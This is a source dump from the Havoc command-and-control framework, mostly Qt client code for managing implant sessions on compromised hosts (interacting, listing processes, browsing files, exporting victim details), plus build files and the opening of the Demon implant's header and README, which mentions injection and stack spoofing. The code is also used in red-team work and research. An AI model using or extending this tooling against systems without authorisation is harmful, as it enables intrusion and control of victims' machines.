#282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text(); auto Agent = Util::SessionItem{}; for ( auto s : HavocX::Teamserver.Sessions ) { if ( s.Name.compare( SessionID ) == 0 ) { Agent = s; break; } } auto separator = new QAction(); auto separator2 = new QAction(); auto separator3 = new QAction(); auto separator4 = new QAction(); separator->setSeparator( true ); separator2->setSeparator( true ); separator3->setSeparator( true ); separator4->setSeparator( true ); auto SessionMenu = QMenu(); auto SessionExplorer = QMenu( "Explorer" ); auto ExitMenu = QMenu( "Exit" ); auto ColorMenu = QMenu( "Color" ); ColorMenu.addAction( "Reset" ); ColorMenu.addAction( "Red" ); ColorMenu.addAction( "Blue" ); ColorMenu.addAction( "Yellow" ); ColorMenu.addAction( "Pink" ); ColorMenu.addAction( "Green" ); ColorMenu.addAction( "Purple" ); ColorMenu.addAction( "Orange" ); ColorMenu.setStyleSheet( MenuStyle ); SessionExplorer.addAction( "Process List" ); SessionExplorer.addAction( "File Explorer" ); SessionExplorer.setStyleSheet( MenuStyle ); ExitMenu.addAction( "Thread" ); ExitMenu.addAction( "Process" ); ExitMenu.setStyleSheet( MenuStyle ); SessionMenu.addAction( "Interact" ); SessionMenu.addAction( separator ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( SessionExplorer.menuAction() ); SessionMenu.addAction( separator2 ); } if ( Agent.Marked.compare( "Dead" ) != 0 ) SessionMenu.addAction( "Mark as Dead" ); else SessionMenu.addAction( "Mark as Alive" ); SessionMenu.addAction( ColorMenu.menuAction() ); SessionMenu.addAction( "Export" ); SessionMenu.addAction( separator3 ); SessionMenu.addAction( "Remove" ); if ( Agent.MagicValue == DemonMagicValue ) { SessionMenu.addAction( ExitMenu.menuAction() ); } else { SessionMenu.addAction( "Exit" ); } SessionMenu.setStyleSheet( MenuStyle ); auto *action = SessionMenu.exec( SessionTableWidget->SessionTableWidget->horizontalHeader()->viewport()->mapToGlobal( pos ) ); if ( action ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = HavocX::Teamserver.Name; Session.InteractedWidget->setupUi( new QWidget ); } if ( Session.Name.compare( SessionID ) == 0 ) { if ( action->text().compare( "Interact" ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { HavocX::Teamserver.TabSession->tabWidget->setCurrentIndex( i ); return; } } HavocX::Teamserver.TabSession->NewBottomTab( Session.InteractedWidget->DemonInteractedWidget, tabName.toStdString() ); Session.InteractedWidget->lineEdit->setFocus(); } else if ( action->text().compare( "Red" ) == 0 || action->text().compare( "Blue" ) == 0 || action->text().compare( "Pink" ) == 0 || action->text().compare( "Yellow" ) == 0 || action->text().compare( "Green" ) == 0 || action->text().compare( "Purple" ) == 0 || action->text().compare( "Orange" ) == 0 || action->text().compare( "Reset" ) == 0 ){ for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); ++i ){ auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, 0)->text(); if(AgentID.compare( SessionID ) == 0 ) { QColor CurrentColor; if( action->text().compare("Red") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionRed ); else if( action->text().compare("Blue") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionCyan ); else if( action->text().compare("Pink") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPink ); else if( action->text().compare("Yellow") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionYellow ); else if( action->text().compare("Green") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionGreen ); else if( action->text().compare("Purple") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionPurple ); else if( action->text().compare("Orange") == 0 ) CurrentColor = QColor( Util::ColorText::Colors::Hex::SessionOrange ); else CurrentColor = QColor( Util::ColorText::Colors::Hex::Background ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item(i, j)->setBackground( CurrentColor ); } } } } else if ( action->text().compare( "Mark as Dead" ) == 0 || action->text().compare( "Mark as Alive" ) == 0 ) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( AgentID.compare( SessionID ) == 0 ) { auto Package = new Util::Packager::Package; Package->Head = Util::Packager::Head_t { .Event= Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; auto Marked = QString(); if ( action->text().compare( "Mark as Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = 0x5, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); } } } else if ( action->text().compare( "Export" ) == 0 ) { Session.Export(); } else if ( action->text().compare( "Remove" ) == 0 ) { auto SessionID = SessionTableWidget->SessionTableWidget->item( SessionTableWidget->SessionTableWidget->currentRow(), 0 )->text(); for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( SessionID.compare( Session.Name ) == 0 ) { SessionTableWidget->SessionTableWidget->removeRow( SessionTableWidget->SessionTableWidget->currentRow() ); HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeRemove( Session ); } } } else if ( action->text().compare( "Thread" ) == 0 || action->text().compare( "Process" ) == 0 ) { Session.InteractedWidget->AppendText( "exit " + action->text().toLower() ); } if ( Session.MagicValue == DemonMagicValue ) { if ( action->text().compare( "Process List" ) == 0 ) { auto TabName = QString( "[" + SessionID + "] Process List" ); if ( Session.ProcessList == nullptr ) { Session.ProcessList = new UserInterface::Widgets::ProcessList; Session.ProcessList->setupUi( new QWidget ); Session.ProcessList->Session = Session; Session.ProcessList->Teamserver = HavocX::Teamserver.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } } else if ( action->text().compare( "File Explorer" ) == 0 ) { auto TabName = QString( "[" + SessionID + "] File Explorer" ); if ( Session.FileBrowser == nullptr ) { Session.FileBrowser = new FileBrowser; Session.FileBrowser->setupUi( new QWidget ); Session.FileBrowser->SessionID = Session.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", "." ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } } } } } } delete separator; delete separator2; delete separator3; delete separator4; } void UserInterface::Widgets::TeamserverTabSession::NewBottomTab( QWidget* TabWidget, const string& TitleName, const QString IconPath ) const { int id = 0; if ( tabWidget->count() == 0 ) { splitter_TopBot->setSizes( QList() << 100 << 200 ); splitter_TopBot->setStyleSheet( "" ); } else if ( tabWidget->count() == 1 ) tabWidget->setMovable( true ); tabWidget->setTabsClosable( true ); id = tabWidget->addTab( TabWidget, TitleName.c_str() ); tabWidget->setIconSize( QSize( 15, 15 ) ); tabWidget->setCurrentIndex( id ); } void UserInterface::Widgets::TeamserverTabSession::NewWidgetTab( QWidget *TabWidget, const std::string &TitleName ) const { if ( tabWidgetSmall->count() == 0 ) { splitter_SessionAndTabs->setSizes( QList() << 200 << 10 ); splitter_SessionAndTabs->setStyleSheet( "" ); splitter_SessionAndTabs->handle( 1 )->setEnabled( true ); splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::SplitHCursor ); } else if ( tabWidgetSmall->count() == 1 ) { tabWidgetSmall->setMovable( true ); } tabWidgetSmall->setTabsClosable( true ); tabWidget->setCurrentIndex( tabWidgetSmall->addTab( TabWidget, TitleName.c_str() ) ); } void UserInterface::Widgets::TeamserverTabSession::removeTabSmall( int index ) const { if ( index == -1 ) { return; } tabWidgetSmall->removeTab( index ); if ( tabWidgetSmall->count() == 0 ) { splitter_SessionAndTabs->setSizes( QList() << 0 ); splitter_SessionAndTabs->setStyleSheet( "QSplitter::handle { image: url(images/notExists.png); }" ); splitter_SessionAndTabs->handle( 1 )->setEnabled( false ); splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::ArrowCursor ); } else if ( tabWidgetSmall->count() == 1 ) { tabWidgetSmall->setMovable( false ); } } ================================================ FILE: client/src/Util/Base.cpp ================================================ #include auto FileRead( const QString& FilePath ) -> QByteArray { auto Content = QByteArray( ); auto path = FilePath.toStdString(); if ( FilePath[ 0 ] != ':' ) { if ( ! QFile::exists( FilePath ) ) { spdlog::error( "Failed to find file: {}", path ); return nullptr; } } // Open File auto File = QFile( FilePath ); File.open( QIODevice::ReadOnly ); // Read everything into our byte array buffer Content = File.readAll(); // close file File.close(); return Content; } auto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -> void { auto box = QMessageBox(); box.setWindowTitle( Title ); box.setText( Text ); box.setIcon( Icon ); box.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); box.exec(); } auto WinVersionIcon( QString OSVersion, bool High ) -> QIcon { if ( OSVersion.startsWith( "Windows 10" ) || OSVersion.startsWith( "Windows Server 2019" )|| OSVersion.startsWith( "Windows 2019 Server" ) ) { spdlog::debug( "OSVersion is Windows 10" ); if ( High ) return QIcon( ":/images/win10-8-high" ); else return QIcon( ":/images/win10-8" ); } else if ( OSVersion.startsWith( "Windows XP" ) ) { spdlog::debug( "OSVersion is Windows XP" ); if ( High ) return QIcon( ":/images/winxp-high" ); else return QIcon( ":/images/winxp" ); } if ( OSVersion.startsWith( "Windows 8" ) || OSVersion.startsWith( "Windows Server 2012" ) ) { spdlog::debug( "OSVersion is Windows 8" ); if ( High ) return QIcon( ":/images/win10-8-high" ); else return QIcon( ":/images/win10-8" ); } if ( OSVersion.startsWith( "Windows 11" ) ) { spdlog::debug( "OSVersion is Windows 11" ); if ( High ) return QIcon( ":/images/win11-high" ); else return QIcon( ":/images/win11" ); } if ( OSVersion.startsWith( "Windows 7" ) || OSVersion.startsWith( "Windows Vista" ) ) { spdlog::debug( "OSVersion is Windows 7 or Vista" ); if ( High ) return QIcon( ":/images/win7-vista-high" ); else return QIcon( ":/images/win7-vista" ); } if ( OSVersion.startsWith( "MacOS" ) ) { spdlog::debug( "OSVersion is MacOS" ); if ( High ) return QIcon( ":/images/macos-high" ); else return QIcon( ":/images/macos" ); } if ( OSVersion.startsWith( "Linux" ) ) { spdlog::debug( "OSVersion is Linux" ); if ( High ) return QIcon( ":/images/linux-high" ); else return QIcon( ":/images/linux" ); } else { if ( High ) return QIcon( ":/images/unknown-high" ); else return QIcon( ":/images/unknown" ); } } auto WinVersionImage( QString OSVersion, bool High ) -> QImage { if ( OSVersion.startsWith( "Windows 10" ) ) { spdlog::debug( "OSVersion is Windows 10" ); if ( High ) return QImage( ":/images/win10-8-high" ); else return QImage( ":/images/win10-8" ); } else if ( OSVersion.startsWith( "Windows XP" ) ) { spdlog::debug( "OSVersion is Windows XP" ); if ( High ) return QImage( ":/images/winxp-high" ); else return QImage( ":/images/winxp" ); } if ( OSVersion.startsWith( "Windows 8" ) ) { spdlog::debug( "OSVersion is Windows 8" ); if ( High ) return QImage( ":/images/win10-8-high" ); else return QImage( ":/images/win10-8" ); } if ( OSVersion.startsWith( "Windows 11" ) ) { spdlog::debug( "OSVersion is Windows 11" ); if ( High ) return QImage( ":/images/win11-high" ); else return QImage( ":/images/win11" ); } if ( OSVersion.startsWith( "Windows 7" ) || OSVersion.startsWith( "Windows Vista" ) ) { spdlog::debug( "OSVersion is Windows 7 or Vista" ); if ( High ) return QImage( ":/images/win7-vista-high" ); else return QImage( ":/images/win7-vista" ); } if ( OSVersion.startsWith( "MacOS" ) ) { spdlog::debug( "OSVersion is MacOS" ); if ( High ) return QImage( ":/images/macos-high" ); else return QImage( ":/images/macos" ); } if ( OSVersion.startsWith( "Linux" ) ) { spdlog::debug( "OSVersion is Linux" ); if ( High ) return QImage( ":/images/linux-high" ); else return QImage( ":/images/linux" ); } else { if ( High ) return QImage( ":/images/unknown-high" ); else return QImage( ":/images/unknown" ); } } auto CurrentDateTime( void ) -> QString { return ( QDateTime::currentDateTime().toString( "dd/MM/yyyy" ) + " " + CurrentTime() ); } auto CurrentTime( void ) -> QString { return ( QTime::currentTime().toString( "hh:mm:ss" ) ); } auto GrayScale( QImage image ) -> QImage { auto im = image.convertToFormat( QImage::Format_ARGB32 ); for ( int y = 0; y < im.height(); ++y ) { auto scanLine = ( QRgb* ) im.scanLine( y ); for ( int x = 0; x < im.width(); ++x ) { auto pixel = *scanLine; auto ci = uint( qGray( pixel ) ); *scanLine = qRgba( ci, ci, ci, qAlpha( pixel ) / 3 ); ++scanLine; } } return im; } ================================================ FILE: client/src/Util/Base64.cpp ================================================ #include static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; std::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen) { std::string ret; int i = 0; int j = 0; char char_array_3[3]; char char_array_4[4]; while (bufLen--) { char_array_3[i++] = *(buf++); if (i == 3) { char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for(i = 0; (i <4) ; i++) ret += base64_chars[char_array_4[i]]; i = 0; } } if (i) { for(j = i; j < 3; j++) char_array_3[j] = '\0'; char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (j = 0; (j < i + 1); j++) ret += base64_chars[char_array_4[j]]; while((i++ < 3)) ret += '='; } return ret; } ================================================ FILE: client/src/Util/ColorText.cpp ================================================ #include QString HavocNamespace::Util::ColorText::Colors::Hex::Background = "#282a36"; QString HavocNamespace::Util::ColorText::Colors::Hex::Foreground = "#f8f8f2"; QString HavocNamespace::Util::ColorText::Colors::Hex::Comment = "#6272a4"; QString HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine = "#44475a"; QString HavocNamespace::Util::ColorText::Colors::Hex::Cyan = "#8be9fd"; QString HavocNamespace::Util::ColorText::Colors::Hex::Green = "#50fa7b"; QString HavocNamespace::Util::ColorText::Colors::Hex::Orange = "#ffb86c"; QString HavocNamespace::Util::ColorText::Colors::Hex::Pink = "#ff79c6"; QString HavocNamespace::Util::ColorText::Colors::Hex::Purple = "#bd93f9"; QString HavocNamespace::Util::ColorText::Colors::Hex::Red = "#ff5555"; QString HavocNamespace::Util::ColorText::Colors::Hex::Yellow = "#f1fa8c"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionCyan = "#618bac"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionGreen = "#1C5F11"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionOrange = "#ac7420"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionPink = "#c33fb6"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionPurple = "#36365b"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionRed = "#5b3d3e"; QString HavocNamespace::Util::ColorText::Colors::Hex::SessionYellow = "#a59220"; void HavocNamespace::Util::ColorText::SetDraculaDark() { HavocNamespace::Util::ColorText::Colors::Hex::Background = "#282a36"; HavocNamespace::Util::ColorText::Colors::Hex::Foreground = "#f8f8f2"; HavocNamespace::Util::ColorText::Colors::Hex::Comment = "#6272a4"; HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine = "#44475a"; HavocNamespace::Util::ColorText::Colors::Hex::Cyan = "#8be9fd"; HavocNamespace::Util::ColorText::Colors::Hex::Green = "#50fa7b"; HavocNamespace::Util::ColorText::Colors::Hex::Orange = "#ffb86c"; HavocNamespace::Util::ColorText::Colors::Hex::Pink = "#ff79c6"; HavocNamespace::Util::ColorText::Colors::Hex::Purple = "#bd93f9"; HavocNamespace::Util::ColorText::Colors::Hex::Red = "#ff5555"; HavocNamespace::Util::ColorText::Colors::Hex::Yellow = "#f1fa8c"; } void HavocNamespace::Util::ColorText::SetDraculaLight() { // TODO: get white theme } QString HavocNamespace::Util::ColorText::Color(const QString& color, const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Background(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Foreground(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Comment(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Cyan(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Green(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Orange(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Pink(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Purple(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Red(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Yellow(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Bold(const QString& text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::Underline(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineBackground(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineForeground(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineComment(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineCyan(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineGreen(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineOrange(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlinePink(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlinePurple(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineRed(const QString &text) { return "" + text.toHtmlEscaped() + ""; } QString HavocNamespace::Util::ColorText::UnderlineYellow(const QString &text) { return "" + text.toHtmlEscaped() + ""; } ================================================ FILE: client/src/global.cc ================================================ #include #include #include #include using namespace std; using namespace HavocNamespace; using namespace HavocNamespace::HavocSpace; string HavocNamespace::Version = "0.7"; string HavocNamespace::CodeName = "Bites The Dust"; // Global Variables in the Havoc Namespace HavocSpace::Havoc* HavocNamespace::HavocApplication; Util::ConnectionInfo HavocX::Teamserver; HavocNamespace::Connector* HavocX::Connector; HavocNamespace::UserInterface::HavocUi* HavocX::HavocUserInterface; bool HavocX::DebugMode = false; bool HavocX::GateGUI = false; PyObject* HavocX::callbackGate = nullptr; PyObject* HavocX::callbackMessage = nullptr; QString HavocSpace::Listener::PayloadHTTPS = "Https"; QString HavocSpace::Listener::PayloadHTTP = "Http"; QString HavocSpace::Listener::PayloadSMB = "Smb"; QString HavocSpace::Listener::PayloadExternal = "External"; std::string Util::gen_random( const int len ) { auto str = std::string( "0123456789ABCDEF" ); auto rd = std::random_device(); auto gen = std::mt19937( rd() ); std::shuffle( str.begin(), str.end(), gen ); return str.substr( 0, len ); } void Util::SessionItem::Export() { auto FileDialog = QFileDialog(); auto Filename = QUrl(); auto Style = FileRead( ":/stylesheets/Dialogs/FileDialog" ).toStdString(); Style.erase( std::remove( Style.begin(), Style.end(), '\n' ), Style.end() ); FileDialog.setStyleSheet( Style.c_str() ); FileDialog.setAcceptMode( QFileDialog::AcceptSave ); FileDialog.setDirectory( QDir::homePath() ); FileDialog.selectFile( "Session_data_" + Name + ".json" ); if ( FileDialog.exec() == QFileDialog::Accepted ) { Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile(); if ( ! Filename.toString().isNull() ) { auto file = QFile( Filename.toString() ); auto messageBox = QMessageBox( ); if ( file.open( QIODevice::ReadWrite ) ) { auto SessionData = QJsonObject(); SessionData.insert( "AgentID", QJsonValue::fromVariant( Name ) ); SessionData.insert( "MagicValue", QJsonValue::fromVariant( (int) MagicValue ) ); SessionData.insert( "ExternalIP", QJsonValue::fromVariant( External ) ); SessionData.insert( "InternalIP", QJsonValue::fromVariant( Internal ) ); SessionData.insert( "Listener", QJsonValue::fromVariant( Listener ) ); SessionData.insert( "User", QJsonValue::fromVariant( User ) ); SessionData.insert( "Computer", QJsonValue::fromVariant( Computer ) ); SessionData.insert( "Domain", QJsonValue::fromVariant( Domain ) ); SessionData.insert( "OS", QJsonValue::fromVariant( OS ) ); SessionData.insert( "OSBuild", QJsonValue::fromVariant( OSBuild ) ); SessionData.insert( "OSArch", QJsonValue::fromVariant( OSArch ) ); SessionData.insert( "ProcessName", QJsonValue::fromVariant( Process ) ); SessionData.insert( "ProcessID", QJsonValue::fromVariant( PID ) ); SessionData.insert( "ProcessArch", QJsonValue::fromVariant( Arch ) ); SessionData.insert( "ProcessElevated", QJsonValue::fromVariant( Elevated ) ); SessionData.insert( "PivotParent", QJsonValue::fromVariant( PivotParent ) ); SessionData.insert( "First Callback", QJsonValue::fromVariant( First ) ); SessionData.insert( "Last Callback", QJsonValue::fromVariant( Last ) ); file.write( QJsonDocument( SessionData ).toJson( QJsonDocument::Indented ) ); } else { auto path = Filename.toString().toStdString(); spdlog::error("Couldn't write to file {}", path ); } file.close(); messageBox.setWindowTitle( "Session Exported" ); messageBox.setText( "Path: " + Filename.toString() ); messageBox.setIcon( QMessageBox::Information ); messageBox.setStyleSheet( FileRead( ":/stylesheets/MessageBox" ) ); // messageBox.setMaximumSize( QSize( 500, 500 ) ); messageBox.exec(); } } } ================================================ FILE: makefile ================================================ ifndef VERBOSE .SILENT: endif # main build target. compiles the teamserver and client all: ts-build client-build # teamserver building target ts-build: @ echo "[*] building teamserver" @ ./teamserver/Install.sh @ cd teamserver; GO111MODULE="on" go build -ldflags="-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)" -o ../havoc main.go @ sudo setcap 'cap_net_bind_service=+ep' havoc # this allows you to run the server as a regular user dev-ts-compile: @ echo "[*] compile teamserver" @ cd teamserver; GO111MODULE="on" go build -ldflags="-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)" -o ../havoc main.go ts-cleanup: @ echo "[*] teamserver cleanup" @ rm -rf ./teamserver/bin @ rm -rf ./data/loot @ rm -rf ./data/x86_64-w64-mingw32-cross @ rm -rf ./data/havoc.db @ rm -rf ./data/server.* @ rm -rf ./teamserver/.idea @ rm -rf ./havoc # client building and cleanup targets client-build: @ echo "[*] building client" @ git submodule update --init --recursive @ mkdir client/Build; cd client/Build; cmake .. @ if [ -d "client/Modules" ]; then echo "Modules installed"; else git clone https://github.com/HavocFramework/Modules client/Modules --single-branch --branch `git rev-parse --abbrev-ref HEAD`; fi @ cmake --build client/Build -- -j 4 client-cleanup: @ echo "[*] client cleanup" @ rm -rf ./client/Build @ rm -rf ./client/Bin/* @ rm -rf ./client/Data/database.db @ rm -rf ./client/.idea @ rm -rf ./client/cmake-build-debug @ rm -rf ./client/Havoc @ rm -rf ./client/Modules # cleanup target clean: ts-cleanup client-cleanup @ rm -rf ./data/*.db @ rm -rf payloads/Demon/.idea ================================================ FILE: payloads/Demon/CMakeLists.txt ================================================ cmake_minimum_required(VERSION 3.19) project( Demon C ) set( PROJECT_NAME Demon ) # set compiler settings set( CMAKE_C_STANDARD 11 ) set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc ) set( CMAKE_C_FLAGS "-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic " ) # adding demon sources include_directories( include ) set( COMMON_SOURCE src/core/Command.c src/core/Win32.c src/core/MiniStd.c src/core/Token.c src/core/Package.c src/core/Obf.c src/core/Spoof.c src/core/Syscalls.c src/core/SysNative.c src/core/Command.c src/core/Transport.c src/core/TransportHttp.c src/core/TransportSmb.c src/core/Parser.c src/core/Pivot.c src/core/Jobs.c src/core/Download.c src/core/Dotnet.c src/core/Socket.c src/core/Kerberos.c src/core/Thread.c src/core/Memory.c src/core/Runtime.c src/core/HwBpEngine.c src/core/HwBpExceptions.c src/core/CoffeeLdr.c src/core/ObjectApi.c ) set( INJECT_SOURCE src/inject/Inject.c src/inject/InjectUtil.c ) set( CRYPT_SOURCE src/crypt/AesCrypt.c ) set( MAIN_SOURCE # Demon Main entrypoint src/Demon.c # windows exe src/main/MainExe.c # windows dll src/main/MainDll.c # windows service src/main/MainSvc.c ) # preprocessor flags add_compile_definitions( DEBUG ) add_compile_definitions( CONFIG_BYTES={} ) add_compile_definitions( CONFIG_SIZE=1024 ) add_compile_definitions( CONFIG_KEY_BYTES={} ) add_compile_definitions( CONFIG_KEY_SIZE=16 ) add_compile_definitions( SERVICE_NAME="DemonService" ) add_compile_definitions( TRANSPORT_HTTP ) add_compile_definitions( TRANSPORT_SMB ) add_compile_definitions( AES256 ) # linking library link_libraries( netapi32 ws2_32 wsock32 wtsapi32 iphlpapi mscoree mscorlib ) # add compiled demons add_executable( ${PROJECT_NAME} ${COMMON_SOURCE} ${INJECT_SOURCE} ${EXT_SOURCE} ${CRYPT_SOURCE} ${LOADER_SOURCE} ${MAIN_SOURCE} ) ================================================ FILE: payloads/Demon/README.md ================================================ # Havoc Demon Agent Havoc Demon Agent source code written in C and assembly # Directories ## src/asm assembly code (return address stack spoofing) ## src/core core functions ( connect to server, dynamically load win32 apis / syscalls ) ## src/crypt encryption / decryption functions ## src/inject injection functions and utilities ## src/main Entry point of an PE executable - MainExe.c Entry point of a Service executable - MainSvc.c Entry point of a Dll - MainDll.c ### NOTE about the `CMakeLists.txt` file from the Developer Do not modify it or use it. This is for only for developing and editing the Demon source code in Clion, it has no use for anyone else beside me (C5pider) or someone that uses Clion or any other IDE that supports CMake. It is only there to make Clion happy and show me references and to make my workflow faster that's it. ================================================ FILE: payloads/Demon/include/Demon.h ================================================ #ifndef DEMON_DEMON_H #define DEMON_DEMON_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef DEBUG #include #endif // To prevent false alignment on x64 #pragma pack(1) typedef struct { PVOID KaynLdr; PVOID DllCopy; PVOID Demon; DWORD DemonSize; PVOID TxtBase; DWORD TxtSize; } KAYN_ARGS, *PKAYN_ARGS; // TODO: remove all variables that are not switched/changed after some time typedef struct { /* MetaData */ PPACKAGE MetaData; /* The last RequestID received by the TS */ UINT32 CurrentRequestID; /* whether WSAStartup has been called yet */ BOOL WSAWasInitialised; #ifdef TRANSPORT_HTTP HANDLE hHttpSession; BOOL LookedForProxy; PVOID ProxyForUrl; SIZE_T SizeOfProxyForUrl; #endif #if defined(SHELLCODE) && defined(DEBUG) HANDLE 